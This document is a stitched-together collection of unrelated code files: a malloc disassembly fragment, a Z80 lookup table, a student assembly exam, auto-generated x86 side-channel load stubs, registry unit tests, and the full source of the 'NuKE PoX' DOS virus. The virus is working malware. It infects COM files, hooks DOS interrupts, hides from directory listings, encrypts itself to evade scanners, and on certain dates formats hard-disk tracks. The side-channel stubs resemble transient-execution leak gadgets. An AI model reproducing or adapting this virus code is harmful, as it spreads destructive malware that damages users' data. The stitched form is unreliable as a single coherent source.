1dd7: e9 41 ff ff ff jmpq 1d1d <malloc+0x8d>
}
}
1ddc: c9 leaveq
1ddd: c3 retq
|
; Divide by three lookup table (192 entries)
;
; $Id: div3_192.asm $
;
SECTION rodata_graphics
PUBLIC div3_192
.div3_192
; 00 15 31
defb 0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 5, 5, 5, 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10
defb 10, 11, 11, 11, 12, 12, 12, 13, 13, 13, 14, 14, 14, 15, 15, 15, 16, 16, 16, 17, 17, 17, 18, 18, 18, 19, 19, 19, 20, 20, 20, 21
defb 21, 21, 22, 22, 22, 23, 23, 23, 24, 24, 24, 25, 25, 25, 26, 26, 26, 27, 27, 27, 28, 28, 28, 29, 29, 29, 30, 30, 30, 31, 31, 31
defb 32, 32, 32, 33, 33, 33, 34, 34, 34, 35, 35, 35, 36, 36, 36, 37, 37, 37, 38, 38, 38, 39, 39, 39, 40, 40, 40, 41, 41, 41, 42, 42
defb 42, 43, 43, 43, 44, 44, 44, 45, 45, 45, 46, 46, 46, 47, 47, 47, 48, 48, 48, 49, 49, 49, 50, 50, 50, 51, 51, 51, 52, 52, 52, 53
defb 53, 53, 54, 54, 54, 55, 55, 55, 56, 56, 56, 57, 57, 57, 58, 58, 58, 59, 59, 59, 60, 60, 60, 61, 61, 61, 62, 62, 62, 63, 63, 63
|
; Michael Dinh - CISP 310 - Final Exam
; Array Value Check
; 12/16/2020
.586
.MODEL FLAT
INCLUDE io.h ; input/output header
.STACK 4096 ; allocate stack memory
.DATA
prompt1 BYTE "Enter array value.", 0
prompt2 BYTE "Enter value to check instances of.", 0
resultLb BYTE "This number was seen this many times:", 0
string BYTE 40 DUP (?)
number BYTE 2 DUP (?)
array DWORD 10 DUP (?)
.CODE
_MainProc PROC
; to-do:
; - user inputs 10 number array and value to check for in array
; - put values in array sequentially, reset index for check
; - check each value of the array, if match, increment some tally
; - output tally after this process is done
; set ESI to first index
mov esi, 0
; loop array input until ESI = 9
; load address into EBX (EAX will be busy doing input)
arrayI: lea ebx, array[4*esi];
; get the input and put it in the array
input prompt1, string, 40
atod string
mov [ebx], eax
; increment index
inc esi
; compare index to 9
cmp esi, 9
; if the index is greater than 9, exit
jg exitArI
; otherwise keep going
jmp arrayI
exitArI:
; get the comparison value, store in EBX (we're not using it anymore)
input prompt2, string, 40
atod string
mov ebx, eax
; set ECX to 10 for our for loop
mov ecx, 10
; set EDX to 0 (we're using it as a tally)
mov edx, 0
; load first address into EAX
lea eax, array;
; loop to analyze the array, increment EDX if match
; compare array element to EBX value
arrayC: cmp [eax], ebx
; if not equal, jump past increment
jne increA
; otherwise, match found, increment EDX
inc edx
; move array to next address
increA: add eax, 4
; continue loop
loop arrayC
; output whatever number is in EDX
dtoa number, edx
output resultLb, number
mov eax, 0 ; exit w/ return code 0
ret
_MainProc ENDP
END
|
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x16d5f, %r10
nop
nop
nop
nop
cmp %rcx, %rcx
movw $0x6162, (%r10)
nop
nop
inc %r10
lea addresses_normal_ht+0xe737, %r14
nop
nop
nop
nop
nop
add $3157, %rdx
mov $0x6162636465666768, %r10
movq %r10, %xmm7
and $0xffffffffffffffc0, %r14
vmovaps %ymm7, (%r14)
nop
and %rdx, %rdx
lea addresses_normal_ht+0x255f, %rsi
lea addresses_UC_ht+0xb12f, %rdi
nop
nop
nop
nop
inc %r15
mov $18, %rcx
rep movsw
nop
nop
sub $11318, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r9
push %rbx
push %rsi
// Faulty Load
lea addresses_normal+0x13c5f, %r13
sub $49729, %r10
mov (%r13), %r14d
lea oracles, %rsi
and $0xff, %r14
shlq $12, %r14
mov (%rsi,%r14,1), %r14
pop %rsi
pop %rbx
pop %r9
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
#include "StdAfx.h"
#include "RegistryUtilUnitTests.h"
using namespace DVLib::UnitTests;
using namespace Microsoft::VisualStudio::CppUnitTestFramework;
void RegistryUtilUnitTests::testHKEY2wstring()
{
Assert::IsTrue(DVLib::HKEY2wstring(HKEY_CLASSES_ROOT) == L"HKEY_CLASSES_ROOT");
Assert::IsTrue(DVLib::HKEY2wstring(HKEY_LOCAL_MACHINE) == L"HKEY_LOCAL_MACHINE");
}
void RegistryUtilUnitTests::testwstring2HKEY()
{
Assert::IsTrue(DVLib::wstring2HKEY(L"HKEY_CLASSES_ROOT") == HKEY_CLASSES_ROOT);
Assert::IsTrue(DVLib::wstring2HKEY(L"HKEY_LOCAL_MACHINE") == HKEY_LOCAL_MACHINE);
}
void RegistryUtilUnitTests::testGetStringValue()
{
std::wstring version = DVLib::RegistryGetStringValue(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.0.50727", L"Version");
std::wcout << std::endl << ".NET 2.0 version: " << version;
Assert::IsTrue(DVLib::startswith(version, L"2."));
}
void RegistryUtilUnitTests::testKeyExists()
{
Assert::IsTrue(DVLib::RegistryKeyExists(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.0.50727"));
Assert::IsTrue(! DVLib::RegistryKeyExists(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.Doesnt.Exist"));
}
void RegistryUtilUnitTests::testValueExists()
{
Assert::IsTrue(DVLib::RegistryValueExists(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.0.50727", L"Version"));
Assert::IsTrue(! DVLib::RegistryValueExists(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.0.50727", L""));
Assert::IsTrue(! DVLib::RegistryValueExists(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.0.50727", L"VersionDoesntExist"));
}
void RegistryUtilUnitTests::testCreateDeleteKey()
{
std::wstring path = L"SOFTWARE\\DVLib\\" + DVLib::GenerateGUIDStringW();
DVLib::RegistryCreateKey(HKEY_CURRENT_USER, path);
Assert::IsTrue( DVLib::RegistryKeyExists(HKEY_CURRENT_USER, path));
DVLib::RegistryDeleteKey(HKEY_CURRENT_USER, path);
Assert::IsTrue(! DVLib::RegistryKeyExists(HKEY_CURRENT_USER, path));
}
void RegistryUtilUnitTests::testSetStringValue()
{
std::wstring path = L"SOFTWARE\\DVLib\\" + DVLib::GenerateGUIDStringW();
DVLib::RegistryCreateKey(HKEY_CURRENT_USER, path);
Assert::IsTrue( DVLib::RegistryKeyExists(HKEY_CURRENT_USER, path));
// test non-empty value
{
std::wstring name = L"Developer";
std::wstring value = L"abc";
DVLib::RegistrySetStringValue(HKEY_CURRENT_USER, path, name, value);
std::wstring regvalue = DVLib::RegistryGetStringValue(HKEY_CURRENT_USER, path, name);
Assert::IsTrue(regvalue == value);
}
// test empty value
{
std::wstring name = L"Blank";
std::wstring value = L"";
DVLib::RegistrySetStringValue(HKEY_CURRENT_USER, path, name, value);
std::wstring regvalue = DVLib::RegistryGetStringValue(HKEY_CURRENT_USER, path, name);
Assert::IsTrue(regvalue == value);
}
// cleanup
DVLib::RegistryDeleteKey(HKEY_CURRENT_USER, L"SOFTWARE\\DVLib");
Assert::IsTrue(! DVLib::RegistryKeyExists(HKEY_CURRENT_USER, L"SOFTWARE\\DVLib"));
}
void RegistryUtilUnitTests::testDeleteValue()
{
std::wstring path = L"SOFTWARE\\DVLib\\" + DVLib::GenerateGUIDStringW();
DVLib::RegistryCreateKey(HKEY_CURRENT_USER, path);
Assert::IsTrue( DVLib::RegistryKeyExists(HKEY_CURRENT_USER, path));
// test non-empty value
{
std::wstring name = L"Developer";
std::wstring value = L"abc";
DVLib::RegistrySetStringValue(HKEY_CURRENT_USER, path, name, value);
Assert::IsTrue(DVLib::RegistryValueExists(HKEY_CURRENT_USER, path, name));
DVLib::RegistryDeleteValue(HKEY_CURRENT_USER, path, name);
Assert::IsTrue(! DVLib::RegistryValueExists(HKEY_CURRENT_USER, path, name));
}
// test empty value
{
std::wstring name = L"Blank";
std::wstring value = L"";
DVLib::RegistrySetStringValue(HKEY_CURRENT_USER, path, name, value);
Assert::IsTrue(DVLib::RegistryValueExists(HKEY_CURRENT_USER, path, name));
DVLib::RegistryDeleteValue(HKEY_CURRENT_USER, path, name);
Assert::IsTrue(! DVLib::RegistryValueExists(HKEY_CURRENT_USER, path, name));
}
// cleanup
DVLib::RegistryDeleteKey(HKEY_CURRENT_USER, L"SOFTWARE\\DVLib");
Assert::IsTrue(! DVLib::RegistryKeyExists(HKEY_CURRENT_USER, L"SOFTWARE\\DVLib"));
}
void RegistryUtilUnitTests::testSetDWORDValue()
{
std::wstring path = L"SOFTWARE\\DVLib\\" + DVLib::GenerateGUIDStringW();
DVLib::RegistryCreateKey(HKEY_CURRENT_USER, path);
Assert::IsTrue( DVLib::RegistryKeyExists(HKEY_CURRENT_USER, path));
std::wstring name = L"Developer";
DWORD value = 123;
DVLib::RegistrySetDWORDValue(HKEY_CURRENT_USER, path, name, value);
Assert::IsTrue(value == DVLib::RegistryGetDWORDValue(HKEY_CURRENT_USER, path, name));
// cleanup
DVLib::RegistryDeleteKey(HKEY_CURRENT_USER, L"SOFTWARE\\DVLib");
Assert::IsTrue(! DVLib::RegistryKeyExists(HKEY_CURRENT_USER, L"SOFTWARE\\DVLib"));
}
void RegistryUtilUnitTests::testGetDWORDValue()
{
DWORD install = DVLib::RegistryGetDWORDValue(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.0.50727", L"Install");
std::wcout << std::endl << ".NET 2.0 install flag: " << install;
Assert::IsTrue(1 == install);
}
void RegistryUtilUnitTests::testGetSetMultiStringValue()
{
std::wstring path = L"SOFTWARE\\DVLib\\" + DVLib::GenerateGUIDStringW();
DVLib::RegistryCreateKey(HKEY_CURRENT_USER, path);
Assert::IsTrue( DVLib::RegistryKeyExists(HKEY_CURRENT_USER, path));
// test non-empty value
{
std::wstring name = L"Developer";
std::vector<std::wstring> value;
value.push_back(L"abc");
value.push_back(L"");
value.push_back(L"bcde");
DVLib::RegistrySetMultiStringValue(HKEY_CURRENT_USER, path, name, value);
std::vector<std::wstring> regvalue = DVLib::RegistryGetMultiStringValue(HKEY_CURRENT_USER, path, name);
Assert::IsTrue(regvalue.size() == value.size());
Assert::IsTrue(regvalue[0] == value[0]);
Assert::IsTrue(regvalue[1] == value[1]);
Assert::IsTrue(regvalue[2] == value[2]);
}
// test empty value
{
std::wstring name = L"Blank";
std::vector<std::wstring> value;
DVLib::RegistrySetMultiStringValue(HKEY_CURRENT_USER, path, name, value);
std::vector<std::wstring> regvalue = DVLib::RegistryGetMultiStringValue(HKEY_CURRENT_USER, path, name);
Assert::IsTrue(regvalue.size() == 0);
}
// cleanup
DVLib::RegistryDeleteKey(HKEY_CURRENT_USER, L"SOFTWARE\\DVLib");
Assert::IsTrue(! DVLib::RegistryKeyExists(HKEY_CURRENT_USER, L"SOFTWARE\\DVLib"));
}
void RegistryUtilUnitTests::testGetValueType()
{
Assert::IsTrue(REG_DWORD == DVLib::RegistryGetValueType(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v2.0.50727", L"Install"));
} |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x172b3, %rdx
clflush (%rdx)
nop
nop
cmp %rcx, %rcx
mov (%rdx), %r12w
cmp $19888, %rbx
lea addresses_WC_ht+0xa4b3, %rsi
lea addresses_UC_ht+0x1c689, %rdi
nop
and $2925, %r10
mov $53, %rcx
rep movsw
nop
nop
nop
add $45425, %rcx
lea addresses_A_ht+0x2677, %rdi
nop
xor $40462, %rsi
movl $0x61626364, (%rdi)
nop
nop
xor %rbx, %rbx
lea addresses_A_ht+0x1a433, %rsi
lea addresses_WT_ht+0xb3f3, %rdi
sub %rdx, %rdx
mov $74, %rcx
rep movsb
nop
nop
nop
xor %rsi, %rsi
lea addresses_WT_ht+0x34b3, %rsi
nop
sub %r10, %r10
mov (%rsi), %dx
nop
nop
xor $44463, %rbx
lea addresses_WC_ht+0x120b3, %rsi
lea addresses_A_ht+0x18fb3, %rdi
nop
nop
nop
and $31972, %r15
mov $59, %rcx
rep movsq
add %rdx, %rdx
lea addresses_WT_ht+0x18352, %rsi
cmp $47434, %r15
mov $0x6162636465666768, %r12
movq %r12, %xmm4
movups %xmm4, (%rsi)
and $60700, %rdx
lea addresses_WC_ht+0x133e3, %rdx
nop
nop
nop
nop
dec %rbx
movl $0x61626364, (%rdx)
nop
cmp $63724, %r15
lea addresses_UC_ht+0x111b3, %rsi
lea addresses_normal_ht+0x18f33, %rdi
nop
nop
nop
and %rbx, %rbx
mov $18, %rcx
rep movsb
nop
nop
nop
nop
xor $28927, %r15
lea addresses_D_ht+0x4799, %rcx
nop
nop
nop
nop
and %r15, %r15
vmovups (%rcx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdx
nop
nop
nop
sub $52246, %r10
lea addresses_A_ht+0xe473, %rsi
lea addresses_A_ht+0x151d3, %rdi
xor $36809, %rdx
mov $88, %rcx
rep movsw
nop
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_normal_ht+0x14993, %rsi
lea addresses_A_ht+0x16c3, %rdi
nop
inc %rdx
mov $9, %rcx
rep movsb
nop
nop
nop
nop
nop
and $16780, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rax
push %rsi
// Faulty Load
lea addresses_PSE+0x4b3, %r15
clflush (%r15)
nop
nop
and %r10, %r10
mov (%r15), %esi
lea oracles, %r15
and $0xff, %rsi
shlq $12, %rsi
mov (%r15,%rsi,1), %rsi
pop %rsi
pop %rax
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
